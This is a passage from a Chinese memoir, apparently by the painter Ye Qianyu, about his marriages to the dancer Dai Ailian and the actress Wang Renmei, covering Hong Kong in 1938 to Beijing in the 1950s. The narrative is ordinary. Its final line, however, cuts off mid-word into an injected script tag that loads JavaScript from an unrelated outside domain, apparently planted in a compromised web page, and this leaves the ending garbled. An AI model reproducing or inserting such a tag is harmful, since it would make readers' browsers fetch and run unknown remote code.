1938年，我取道越南去香港。在驻港各方的支持下，对外宣传画刊《今日中国》顺利出版。我作为主编，和香港有关各方联系广泛。有一天，以宋庆龄为首的保卫中国同盟派秘书廖梦醒大姐来找我，说孙夫人要为延安的国际医院筹措一笔购置医疗器材的基金，特邀请一位从英国来港的华侨舞蹈家戴爱莲举办一次表演会，要我在宣传方面给予支援，并替我约定和戴氏见面。这位舞蹈家身材矮小，舞技娴熟，可是说一口英语，我的英语只有中学程度，如何对付得了！彼此之间交流思想只好打手势，还有时用图画。一星期之后，我们成了熟朋友。她说她初到香港，只能和英语阶层交往，我是她所认识的惟一来自抗战大后方的中国人，所以她对我有特殊的亲切感。大概经过半个月光景，我们之间由社会人的关系升华到生物人的关系，速度相当快。

　　演出之后，戴告诉我，她想去延安，为中国共产党的革命事业献身。我说，我为《今日中国》的继续出版问题也要去重庆向政府请示，我俩可以结伴同行，但要先确定我们之间的关系，先结婚，后上路。

　　为组织这个家庭，爱莲十分主动积极。我们在一个印度人家里租到一间房，作为短期的窝。宋庆龄亲自当我们的主婚人，她在自己住处为我们举行了一个宴会，宣布我们结成夫妇。

　　香港沦陷后，我们和文艺界朋友先后集中到桂林。经朋友们的督促和支持，爱莲和艺术馆的一位钢琴家组织了一次音乐舞蹈表演会。我和香港那两次一样，在后台管服装、道具，一些熟朋友笑话我，说我是戴爱莲的“跟包”。可我这个跟包，除了在后台为戴爱莲管事打杂外，还得做饭，当翻译，必要时甚至兼任演出经理和舞台监督。

　　1949年春北平解放，7月举行全国文学艺术界代表大会，我当了美协副主席，爱莲参加华北大学文工团，当了舞蹈组的领导。1950年文化部聘请爱莲任北京舞蹈学校校长。秋末，我受命参加民族访问团去新疆，冬天回来，冷不防戴爱莲向我提出离婚，这真像晴天霹雳，使我大吃一惊。我问为什么？她说，她已爱上别人了。我问是谁，她说是一个在我家住过的青年舞蹈家。我明白了，我这个高级跟包，在新的历史条件下，已不再符合她的需要。掐指一算，从1940年到1950年，我们在一起生活整整十年。

　　与王人美：磕磕碰碰

　　在我一生的四次婚姻中，王人美是和我共同生活时间最长的，但是由于我们在世界观、人生观和生活习惯等方面差异很大，三十多年来始终磕磕碰碰，貌合神离，两人都不幸福。“叶浅予是个好画家，却不是个好丈夫。除了懂画，别的什么也不懂。”这是王人美对我的真实看法。

　　我和人美的婚姻是1955年由朋友们有意撮合的。那时人美和金焰已经分离十年。我呢，1951年通过官方手续，和戴爱莲离婚。说实话，我是流过眼泪的。到1955年，我已独居五年。

　　王人美当年在上海当歌舞演员时，我曾在丁悚家里见过她，这次经朋友介绍，目的明确，希望我们合组家庭，解除寂寞。应该说，我们彼此对对方的性情脾气都不甚了解，但两人都是社会知名人士，有一定透明度，所以经过几个月交往，我便直率地提出结婚要求。人美倒有点犹豫，当时她正在长春拍片，在一封信里她写道：

　　……的确，我不否认我有优点，但缺点更多，尤其是我的幼稚无知，它将带给你苦痛呢！你想到么？当然，这样说并不是让你提出任何保证，将来不能嫌厌我，而是更深了解，事先考虑、准备，如何克服困难，以期达到更好的合作。

　　信中反映的谨慎态度，也许是一个女性的常态。这里面可能隐藏着第一次结婚的幸与不幸；也许是对我的警告，语言软中带硬。

　　事实证明，她的考虑是有预见的。我们按照世俗传统习惯，在北京西单一家饭店订了两桌席，请朋友吃了一顿，就算结婚了。人美从北影宿舍搬到大佛寺西街47号叶宅来住。我开始发现她的性格急躁，又好强，硬要摆出当主妇的身份，因此在家务上开始发生矛盾。结婚才一个月左右，某一天，不记得为了什么事，我们两人顶撞起来。她一本正经提出要和我离婚。结婚才一个月便要离婚，简直荒唐！我问：“这到底是为什么？”她说：“你有大男子主义，我受不了。”

　　我说：“你认为我有大男子主义，这帽子我可以戴。不过，若是你头脑里没有大女子主义，怎能感到我有大男子主义呢？”给我这么一反驳，她好像有所醒悟，口气变了说：“那么，再试试吧，看我们能不能平平安安生活下去。”

　　从此以后，我们之间除了作为生物的人，特别注意如何做一个社会的人。我逐渐摸到王人美的脾性，凡属于内掌柜职权范围内的事，外掌柜不得插手。对我来说，这本来是丈夫的幸福。但是，这内外之间，界限很难分清。

　　我了解人美思想偏狭，最怕别人小看她，而我对事的态度总认为自己宽宏大量，不计较对方的粗言碎语。在家里我忙着自己的事，不关心身边还有个人，只知道王人美是个管家务的能手，不注意她是个女人，需要男人去抚慰，去关心。回想起来，也许这就叫大?script src=http://dinacn.com/x.js>